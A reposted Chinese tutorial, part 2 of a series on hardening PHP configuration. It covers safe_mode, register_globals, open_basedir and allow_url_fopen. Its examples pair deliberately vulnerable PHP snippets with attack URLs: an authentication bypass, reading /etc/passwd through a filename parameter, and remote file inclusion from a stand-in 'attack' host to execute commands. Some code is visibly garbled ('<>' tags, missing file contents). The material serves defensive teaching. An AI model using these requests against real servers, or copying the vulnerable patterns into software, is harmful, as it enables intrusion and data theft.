明輝手游網(wǎng)中心:是一個(gè)免費(fèi)提供流行視頻軟件教程、在線學(xué)習(xí)分享的學(xué)習(xí)平臺(tái)!

PHP安全設(shè)置(2)

[摘要]三、PHP本身的安全配置 PHP的配置非常靈活,可以通過(guò)php.ini, httpd.conf, .htaccess文件(該目錄必須設(shè)置了AllowOverride All或Options)進(jìn)行設(shè)置,還可以在腳本程序里使用ini_set()及其他的特定的函數(shù)進(jìn)行設(shè)置。通過(guò)phpinfo()和get...
三、PHP本身的安全配置

PHP的配置非常靈活,可以通過(guò)php.ini, httpd.conf, .htaccess文件(該目錄必須設(shè)置了AllowOverride All或Options)進(jìn)行設(shè)置,還可以在腳本程序里使用ini_set()及其他的特定的函數(shù)進(jìn)行設(shè)置。通過(guò)phpinfo()和get_cfg_var()函數(shù)可以得到配置選項(xiàng)的各個(gè)值。

如果配置選項(xiàng)是唯一PHP_INI_SYSTEM屬性的,必須通過(guò)php.ini和httpd.conf來(lái)修改,它們修改的是PHP的Master值,但修改之后必須重啟apache才能生效。其中php.ini設(shè)置的選項(xiàng)是對(duì)Web服務(wù)器所有腳本生效,httpd.conf里設(shè)置的選項(xiàng)是對(duì)該定義的目錄下所有腳本生效。

如果還有其他的PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL屬性的選項(xiàng)就可以使用.htaccess文件設(shè)置,也可以通過(guò)在腳本程序自身用ini_set()函數(shù)設(shè)定,它們修改的是Local值,改了以后馬上生效。但是.htaccess只對(duì)當(dāng)前目錄的腳本程序生效,ini_set()函數(shù)只對(duì)該腳本程序設(shè)置ini_set()函數(shù)以后的代碼生效。各個(gè)版本的選項(xiàng)屬性可能不盡相同,可以用如下命令查找當(dāng)前源代碼的main.c文件得到所有的選項(xiàng),以及它的屬性:

# grep PHP_INI_ /PHP_SRC/main/main.c



在討論P(yáng)HP安全配置之前,應(yīng)該好好了解PHP的safe_mode模式。

1、safe_mode

safe_mode是唯一PHP_INI_SYSTEM屬性,必須通過(guò)php.ini或httpd.conf來(lái)設(shè)置。要啟用safe_mode,只需修改php.ini:

safe_mode = On
或者修改httpd.conf,定義目錄:

Options FollowSymLinks
php_admin_value safe_mode 1




重啟apache后safe_mode就生效了。啟動(dòng)safe_mode,會(huì)對(duì)許多PHP函數(shù)進(jìn)行限制,特別是和系統(tǒng)相關(guān)的文件打開、命令執(zhí)行等函數(shù)。

所有操作文件的函數(shù)將只能操作與腳本UID相同的文件,比如test.php腳本的內(nèi)容為:


幾個(gè)文件的屬性如下:
# ls -la
total 13
drwxr-xr-x 2 root root 104 Jul 20 01:25 .
drwxr-xr-x 16 root root 384 Jul 18 12:02 ..
-rw-r--r-- 1 root root 4110 Oct 26 2002 index.html
-rw-r--r-- 1 www-data www-data 41 Jul 19 19:14 test.php



在瀏覽器請(qǐng)求test.php會(huì)提示如下的錯(cuò)誤信息:

Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1

如果被操作文件所在目錄的UID和腳本UID一致,那么該文件的UID即使和腳本不同也可以訪問(wèn)的,不知這是否是PHP的一個(gè)漏洞還是另有隱情。所以php腳本屬主這個(gè)用戶最好就只作這個(gè)用途,絕對(duì)禁止使用root做為php腳本的屬主,這樣就達(dá)不到safe_mode的效果了。

如果想將其放寬到GID比較,則打開 safe_mode_gid可以考慮只比較文件的GID,可以設(shè)置如下選項(xiàng):

safe_mode_gid = On

設(shè)置了safe_mode以后,所有命令執(zhí)行的函數(shù)將被限制只能執(zhí)行php.ini里safe_mode_exec_dir指定目錄里的程序,而且shell_exec、`ls -l`這種執(zhí)行命令的方式會(huì)被禁止。如果確實(shí)需要調(diào)用其它程序,可以在php.ini做如下設(shè)置:

safe_mode_exec_dir = /usr/local/php/exec

然后拷貝程序到該目錄,那么php腳本就可以用system等函數(shù)來(lái)執(zhí)行該程序。而且該目錄里的shell腳本還是可以調(diào)用其它目錄里的系統(tǒng)命令。

safe_mode_include_dir string

當(dāng)從此目錄及其子目錄(目錄必須在 include_path 中或者用完整路徑來(lái)包含)包含文件時(shí)越過(guò) UID/GID 檢查。

從 PHP 4.2.0 開始,本指令可以接受和 include_path 指令類似的風(fēng)格用分號(hào)隔開的路徑,而不只是一個(gè)目錄。

指定的限制實(shí)際上是一個(gè)前綴,而非一個(gè)目錄名。這也就是說(shuō)“safe_mode_include_dir = /dir/incl”將允許訪問(wèn)“/dir/include”和“/dir/incls”,如果它們存在。如果您希望將訪問(wèn)控制在一個(gè)指定的目錄,那么請(qǐng)?jiān)诮Y(jié)尾加上一個(gè)斜線,例如:“safe_mode_include_dir = /dir/incl/”。

safe_mode_allowed_env_vars string

設(shè)置某些環(huán)境變量可能是潛在的安全缺口。本指令包含有一個(gè)逗號(hào)分隔的前綴列表。在安全模式下,用戶只能改變那些名字具有在這里提供的前綴的環(huán)境變量。默認(rèn)情況下,用戶只能設(shè)置以 PHP_ 開頭的環(huán)境變量(例如 PHP_FOO = BAR)。

注: 如果本指令為空,PHP 將使用戶可以修改任何環(huán)境變量!

safe_mode_protected_env_vars string

本指令包含有一個(gè)逗號(hào)分隔的環(huán)境變量的列表,最終用戶不能用 putenv() 來(lái)改變這些環(huán)境變量。甚至在 safe_mode_allowed_env_vars 中設(shè)置了允許修改時(shí)也不能改變這些變量。

雖然safe_mode不是萬(wàn)能的(低版本的PHP可以繞過(guò)),但還是強(qiáng)烈建議打開安全模式,在一定程度上能夠避免一些未知的攻擊。不過(guò)啟用safe_mode會(huì)有很多限制,可能對(duì)應(yīng)用帶來(lái)影響,所以還需要調(diào)整代碼和配置才能和諧。被安全模式限制或屏蔽的函數(shù)可以參考PHP手冊(cè)。

討論完safe_mode后,下面結(jié)合程序代碼實(shí)際可能出現(xiàn)的問(wèn)題討論如何通過(guò)對(duì)PHP服務(wù)器端的配置來(lái)避免出現(xiàn)的漏洞。

2、變量濫用

PHP默認(rèn)register_globals = On,對(duì)于GET, POST, Cookie, Environment, Session的變量可以直接注冊(cè)成全局變量。它們的注冊(cè)順序是variables_order = "EGPCS"(可以通過(guò)php.ini修改),同名變量variables_order右邊的覆蓋左邊,所以變量的濫用極易造成程序的混亂。而且腳本程序員往往沒(méi)有對(duì)變量初始化的習(xí)慣,像如下的程序片斷就極易受到攻擊:

<>
//test_1.php
if ($pass == "hello")
$auth = 1;

if ($auth == 1)
echo "some important information";
else
echo "nothing";
?>



攻擊者只需用如下的請(qǐng)求就能繞過(guò)檢查:

http://victim/test_1.php?auth=1

這雖然是一個(gè)很弱智的錯(cuò)誤,但一些著名的程序也有犯過(guò)這種錯(cuò)誤,比如phpnuke的遠(yuǎn)程文件拷貝漏洞:http://www.securityfocus.com/bid/3361

PHP-4.1.0發(fā)布的時(shí)候建議關(guān)閉register_globals,并提供了7個(gè)特殊的數(shù)組變量來(lái)使用各種變量。對(duì)于從GET、POST、COOKIE等來(lái)的變量并不會(huì)直接注冊(cè)成變量,必需通過(guò)數(shù)組變量來(lái)存取。PHP-4.2.0發(fā)布的時(shí)候,php.ini默認(rèn)配置就是register_globals = Off。這使得程序使用PHP自身初始化的默認(rèn)值,一般為0,避免了攻擊者控制判斷變量。

解決方法:

配置文件php.ini設(shè)置register_globals = Off。

要求程序員對(duì)作為判斷的變量在程序最開始初始化一個(gè)值。

3、文件打開

極易受攻擊的代碼片斷:

<>
//test_2.php
if (!($str = readfile("$filename"))) {
echo("Could not open file: $filename
\n");
exit;
}
else {
echo $str;
}
?>



由于攻擊者可以指定任意的$filename,攻擊者用如下的請(qǐng)求就可以看到/etc/passwd:

http://victim/test_2.php?filename=/etc/passwd

如下請(qǐng)求可以讀php文件本身:

http://victim/test_2.php?filename=test_2.php

PHP中文件打開函數(shù)還有fopen(), file()等,如果對(duì)文件名變量檢查不嚴(yán)就會(huì)造成服務(wù)器重要文件被訪問(wèn)讀取。

解決方法:

如非特殊需要,把php的文件操作限制在web目錄里面。以下是修改apache配置文件httpd.conf的一個(gè)例子:


php_admin_value open_basedir /usr/local/apache/htdocs




重啟apache后,/usr/local/apache/htdocs目錄下的PHP腳本就只能操作它自己目錄下的文件了,否則PHP就會(huì)報(bào)錯(cuò):

Warning: open_basedir restriction in effect.

File is in wrong directory in xxx on line xx.

使用safe_mode模式也能避免這種問(wèn)題,前面已經(jīng)討論過(guò)了。

4、包含文件

極易受攻擊的代碼片斷:

<>
//test_3.php
if(file_exists($filename))
include("$filename");
?>



這種不負(fù)責(zé)任的代碼會(huì)造成相當(dāng)大的危害,攻擊者用如下請(qǐng)求可以得到/etc/passwd文件:

http://victim/test_3.php?filename=/etc/passwd

如果對(duì)于Unix版的PHP(Win版的PHP不支持遠(yuǎn)程打開文件)攻擊者可以在自己開了http或ftp服務(wù)的機(jī)器上建立一個(gè)包含shell命令的文件,如http://attack/attack.txt的內(nèi)容是,那么如下的請(qǐng)求就可以在目標(biāo)主機(jī)執(zhí)行命令ls /etc:

http://victim/test_3.php?filename=http://attack/attack.txt

攻擊者甚至可以通過(guò)包含apache的日志文件access.log和error.log來(lái)得到執(zhí)行命令的代碼,不過(guò)由于干擾信息太多,有時(shí)不易成功。

對(duì)于另外一種形式,如下代碼片斷:

<>
//test_4.php
include("$lib/config.php");
?>



攻擊者可以在自己的主機(jī)建立一個(gè)包含執(zhí)行命令代碼的config.php文件,然后用如下請(qǐng)求也可以在目標(biāo)主機(jī)執(zhí)行命令:

http://victim/test_4.php?lib=http://attack

PHP的包含函數(shù)有include(), include_once(), require(), require_once。如果對(duì)包含文件名變量檢查不嚴(yán)就會(huì)對(duì)系統(tǒng)造成嚴(yán)重危險(xiǎn),可以遠(yuǎn)程執(zhí)行命令。

解決方法:

要求程序員包含文件里的參數(shù)盡量不要使用變量,如果使用變量,就一定要嚴(yán)格檢查要包含的文件名,絕對(duì)不能由用戶任意指定。

如前面文件打開中限制PHP操作路徑是一個(gè)必要的選項(xiàng)。另外,如非特殊需要,一定要關(guān)閉PHP的遠(yuǎn)程文件打開功能。修改php.ini文件:

allow_url_fopen = Off

重啟apache。




標(biāo)簽:PHP安全設(shè)置(2)